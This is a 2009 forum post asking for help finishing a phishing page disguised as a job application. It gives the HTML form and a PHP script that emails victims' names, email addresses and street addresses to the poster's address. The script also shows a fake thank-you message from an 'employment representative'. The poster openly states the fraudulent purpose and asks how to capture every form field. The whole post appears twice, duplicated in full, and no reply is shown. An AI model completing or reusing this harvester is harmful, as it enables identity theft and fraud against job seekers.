GermanyOrFlorida
2009-01-16, 03:56
OK, so my friend has a phishing page, except it looks like a job application, and he is trying to design it to collect personal information.
He has successfully integrated his HTML FORM with his SENDMAIL.PHP file to send information from the form to his email.
But he is having a hard time with one problem:
He can't get ALL the data from the form to the email. Usually, only one field shows up in the email.
He has spent hours searching and using deductive resoning trying to figure out the syntax, but still no avail.
Can you help him please?
Here's a SHORTENED version of the HTML FORM, and also the full PHP code:
form action="sendmail.php" method="post" >
<tr>
<td>Full Name </td>
<td><input size="40" name="name1"> </td></tr>
<tr>
<td>Email Address </td>
<td><input size="30" name="email1"> </td></tr>
<tr>
<td>Street Address </td>
<td><input size="40" name="address1"> </td></tr>
<input type="submit" name="Submit" value="Submit Query">
PHP CODE (saved as sendmail.php):
<?php
$email=$_REQUEST['email1'];
$message=$_REQUEST['name1'];
mail("MYFRIENDSEMAIL@HOTMAIL.COM","Subject: $email", $message);
echo "Thank you for filling out your application<br>
You should receive an email from our employment representative shortly";
?>
Again, there are several more fields on the application, i've just shortened it down so it's easier to understand.
He has successfully integrated his HTML FORM with his SENDMAIL.PHP file to send information from the form to his email.
But he is having a hard time with one problem:
He can't get ALL the data from the form to the email. Usually, only one field shows up in the email.
He has spent hours searching and using deductive resoning trying to figure out the syntax, but still no avail.
Can you help him please?
Here's a SHORTENED version of the HTML FORM, and also the full PHP code:
form action="sendmail.php" method="post" >
<tr>
<td>Full Name </td>
<td><input size="40" name="name1"> </td></tr>
<tr>
<td>Email Address </td>
<td><input size="30" name="email1"> </td></tr>
<tr>
<td>Street Address </td>
<td><input size="40" name="address1"> </td></tr>
<input type="submit" name="Submit" value="Submit Query">
PHP CODE (saved as sendmail.php):
<?php
$email=$_REQUEST['email1'];
$message=$_REQUEST['name1'];
mail("MYFRIENDSEMAIL@HOTMAIL.COM","Subject: $email", $message);
echo "Thank you for filling out your application<br>
You should receive an email from our employment representative shortly";
?>
Again, there are several more fields on the application, i've just shortened it down so it's easier to understand.